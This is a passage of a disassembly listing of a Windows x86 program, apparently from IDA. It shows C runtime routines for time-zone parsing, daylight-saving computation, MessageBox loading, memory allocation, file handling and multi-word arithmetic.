loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25E0AEBh
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC10, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC10

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB58, ebp
		mov	dword_43D400, ebx
		mov	dword_43D3F0, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB60
		call	near ptr 2870000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB60
		mov	ecx, dword_4DBBB4
		imul	eax, 3Ch
		cmp	word_4DBBA6, bp
		push	1
		pop	edx
		mov	dword_43D358, eax
		mov	dword_4DBB58, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D358, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBBFA, bp
		jz	short loc_424887
		mov	eax, dword_4DBC08
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D35C, edx
		imul	eax, 3Ch
		mov	dword_43D360, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D35C, ebp
		mov	dword_43D360, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D3E4
		push	ebx
		push	offset dword_4DBB64
		push	edi
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D3E4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D3E4
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D3E8
		push	ebx
		push	offset dword_4DBBB8
		push	edi
		push	dword_4DB9F4
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D3E8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC0C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC0C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC0C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D3E4
		call	sub_41B5F0
		mov	eax, off_43D3E4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D358, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D358
		add	ecx, eax
		mov	dword_43D358, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D358
		add	ecx, eax
		mov	dword_43D358, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D358, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D35C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D3E8
		call	sub_41B5F0
		mov	eax, off_43D3E8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D3E8
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D35C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D3F0
		jnz	short loc_424A7C
		cmp	eax, dword_43D400
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB58, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC06
		push	ecx
		cmp	word_4DBBF8, di
		movzx	ecx, word_4DBC04
		push	ecx
		movzx	ecx, word_4DBC02
		push	ecx
		movzx	ecx, word_4DBC00
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBBFC
		push	edi
		push	ecx
		movzx	ecx, word_4DBBFE
		push	ecx
		movzx	ecx, word_4DBBFA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBBFE
		push	ecx
		push	edi
		movzx	ecx, word_4DBBFA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBB2
		add	esp, 2Ch
		cmp	word_4DBBA4, di
		push	eax
		movzx	eax, word_4DBBB0
		push	eax
		movzx	eax, word_4DBBAE
		push	eax
		movzx	eax, word_4DBBAC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBA8
		push	edi
		push	eax
		movzx	eax, word_4DBBAA
		push	eax
		movzx	eax, word_4DBBA6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBAA
		push	eax
		push	edi
		movzx	eax, word_4DBBA6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D3F4
		mov	eax, dword_43D404
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D3F8
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D408
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D408[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D43C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D40C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D440[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D408[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D43C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D3F4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D3F0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D3F8, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D404, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D360
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D408, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D408, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D408, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D404, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D400, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEA1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9B2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC14, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC14, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC18, eax
		call	esi
		mov	dword_4DBC1C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC18
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC1C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC14


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFC8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFC0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9A4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFC4
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9AC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC60, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC48
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC48
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC60
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCD80
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCC80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB92C, 5
		jnz	short loc_424FDC
		mov	dword_4DB928, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25E0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB928, 0Dh
		nop
		call	near ptr 2670E94h
		mov	dword_4DB92C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB928, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
